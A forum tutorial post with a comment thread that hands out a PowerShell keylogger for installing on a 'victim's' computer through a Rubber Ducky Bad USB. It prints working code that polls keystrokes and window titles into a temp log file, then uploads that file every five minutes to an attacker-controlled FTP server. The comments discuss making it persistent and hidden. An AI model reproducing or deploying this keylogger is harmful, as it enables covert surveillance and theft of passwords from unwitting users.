Plug In To Win - Powershell Keylogger [Part 2/3]

Hey Mates!

As promised I share a Powershell Keylogger with you, which can be used together with our Bad USB to be installed within just some seconds of physical access :slight_smile:.

This keylogger is not completly written by me! I used several ones on the internet and modified them to fit my needs :wink:. The original ones can be found here:

I never worked with Powershell before and haven’t read any tutorials on it, but the language is that easy, that I could understand and modify the script without any problems! I think that’s the real beauty of this language :wink:.


Before we dive into the code I should give you a small introduction to the language we’re using.

Powershell is an attempt of Microsoft to connect the main characteristics of the Unix-Shell with object-oriented languages. It has two great advantages:

  • Very easy, due to the ridiculous simple syntax
  • Integrated into Windows since Vista

These are the reasons, why it can be used as a great Post-exploitation framework, although it isn’t made for it :smile:. We can use it perfectly for the Rubber Ducky, because it has a shell for typing in commands directly through the keyboard and it supports powerful scripts.

Keylogger Script

Here I’ll explain my script to you, so that you can understand it without the knowledge of programming languages. I won’t cover the basics of Powershell scripting here, because they aren’t necessary for using it, but if you’re interested in some tutorials on it, so that you can write your own powerful scripts, just ask in the comments :slight_smile:.

The Setup

I won’t talk about the first lines in detail, because that would go beyond the scope of this tutorial. You just have to know that they set up the keycodes and import the required DLLs.

We directly jump to line 157, because here begins the real action :wink:.

The Main Routine

    while ($true) {
        Start-Sleep -Milliseconds 40
        $gotit = ""

        for ($char = 1; $char -le 254; $char++) {
            $vkey = $char
            $gotit = $getKeyState::GetAsyncKeyState($vkey)

            if ($gotit -eq -32767) {

                $EnterKey = $getKeyState::GetAsyncKeyState(13)
                $TabKey = $getKeyState::GetAsyncKeyState(9)
                $DeleteKey = $getKeyState::GetAsyncKeyState(46)
                $BackSpaceKey = $getKeyState::GetAsyncKeyState(8)
                $LeftArrow = $getKeyState::GetAsyncKeyState(37)
                $UpArrow = $getKeyState::GetAsyncKeyState(38)
                $RightArrow = $getKeyState::GetAsyncKeyState(39)
                $DownArrow = $getKeyState::GetAsyncKeyState(40)

                $caps_lock = [console]::CapsLock

                $scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)

                $kbstate = New-Object Byte[] 256
                $checkkbstate = $getKBState::GetKeyboardState($kbstate)

This first part gets the current pressed keys and tests them for special keys.

                $TopWindow = $getForeground::GetForegroundWindow()
                $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle

                $LogOutput = "`"" + $WindowTitle + "`"`t`t`t"

                $mychar = New-Object -TypeName "System.Text.StringBuilder";
                $unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

                $LogOutput += $mychar.ToString();
                if ($EnterKey)     {$LogOutput += '[ENTER]'}
                if ($TabKey)       {$LogOutput += '[Tab]'}
                if ($DeleteKey)    {$LogOutput += '[Delete]'}
                if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
                if ($LeftArrow)    {$LogOutput += '[Left Arrow]'}
                if ($RightArrow)   {$LogOutput += '[Right Arrow]'}
                if ($UpArrow)      {$LogOutput += '[Up Arrow]'}
                if ($DownArrow)    {$LogOutput += '[Down Arrow]'}

                $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
                $LogOutput += "`t`t`t`t`t" + $TimeStamp
                if ($unicode_res -gt 0) {
                    $logfile = "$env:temp\key.log"
                    $LogOutput | Out-File -FilePath $logfile -Append

Then the current active window is checked and added to the LogOutput-string. Also all pressed special keys and chars are added to the string. Finally a timestamp is appended and the string is written to %TEMP%\key.log.

Start-Job { 

    # Config
    $Username = "YourUsername"
    $Password = "YourPassword"
    $LocalFile = "$env:temp\key.log"
    $RemoteFile = ""
    $SleepTime = 300
    while (1 -eq 1)
        # Sleep for specified time
        Start-Sleep -Seconds $SleepTime

        # Create FTP Rquest Object
        $FTPRequest = [System.Net.FtpWebRequest]::Create("$RemoteFile")
        $FTPRequest = [System.Net.FtpWebRequest]$FTPRequest
        $FTPRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile
        $FTPRequest.Credentials = new-object System.Net.NetworkCredential($Username, $Password)
        $FTPRequest.UseBinary = $true
        $FTPRequest.UsePassive = $true

        # Read the File for Upload
        $FileContent = gc -en byte $LocalFile
        $FTPRequest.ContentLength = $FileContent.Length

        # Get Stream Request by bytes
        $Run = $FTPRequest.GetRequestStream()
        $Run.Write($FileContent, 0, $FileContent.Length)

        # Cleanup

In the last part a background job is started, which sends the file every 5 mins to the specified FTP-Server.

Hold in mind that this keylogger is not persistent! After a reboot it won’t run again without further implementation.

The Full Script

Here’s the full script, so that it’s easier to copy it :slight_smile:.

How To Combine It With The Rubber Ducky

First you’ll have to setup some required stuff to get things working.

Get A Server

We’ll need a server for hosting the keylogger and writing the log to. I recommend to use a free one, e.g. I won’t cover how to set it up, because that’s as easy as creating an account :wink:.

Of course you can set up your own one on your computer, but hold in mind that it can be easily spotted in the code of the keylogger.

When you’re finished, upload the keylogger to the server.


Now change the server in the DuckyScript to your new one and install the script on your Bad USB.

Step-by-Step Tutorial

Here’s my step-by-step tutorial on how to use your Rubber Ducky now for running the keylogger on your victims computer.

Step 1: Plug in the Rubber Ducky
Step 2: Feel 1337


With some simple scripting we can build our own keylogger, which can be easily run from our Bad USB.

If you like to you can add persistence to the keylogger. That shouldn’t be too hard :wink:.



Nice work. I remember using the GetAsyncKeyState function with the polling method, it’s pretty old and dates back to WinXP. One of the main reasons why I stopped using that technique was because of the CPU drainage while polling for keys which was incredibly noisy so I must ask, how well does it perform under PowerShell?

The PowerSploit script used around 20(!)% CPU power and had many mistakes, like keys were saved more than one time, etc… I used this one as base, which was much better. After my modifications it just used 0-0.3% CPU power, which is pretty good - in my oppinion :wink:.

1 Like

That’s odd. The .NET doesn’t have an effect on the CPU with an infinite while loop. Must be some kind of optimization thing that C-compiled native binary lacks.

Nice stuff :heart_eyes: I’m thinking about buying this USB rubber ducky as I said to you last time. Can’t this script can be downloaded in autostart? If yes the computer can reboot and it’s still working. But you must remember the hide function or it can be seen easiely by the user. If this doesn’t work with hiding forget this. :relaxed:

That would be a very basic version of persistence, which can be easily implemented. I haven’t already included it, because I don’t want to get spammed by the computer. Just get one important password and then it’s automatically offline. Both have pros and cons :wink:.

1 Like

Ok I hope you will have it in some time.

Nope, I won’t implement it. Do it on your own, it’s much eaier than you may think…

Well then I do this. Maybe it’s an good excesise to do. But first I must wait that my exchange student is away, because it isn’t nice to program when he is there. I only have time because he’s sleeping in the car and I’m using my mobile.

This topic was automatically closed after 30 days. New replies are no longer allowed.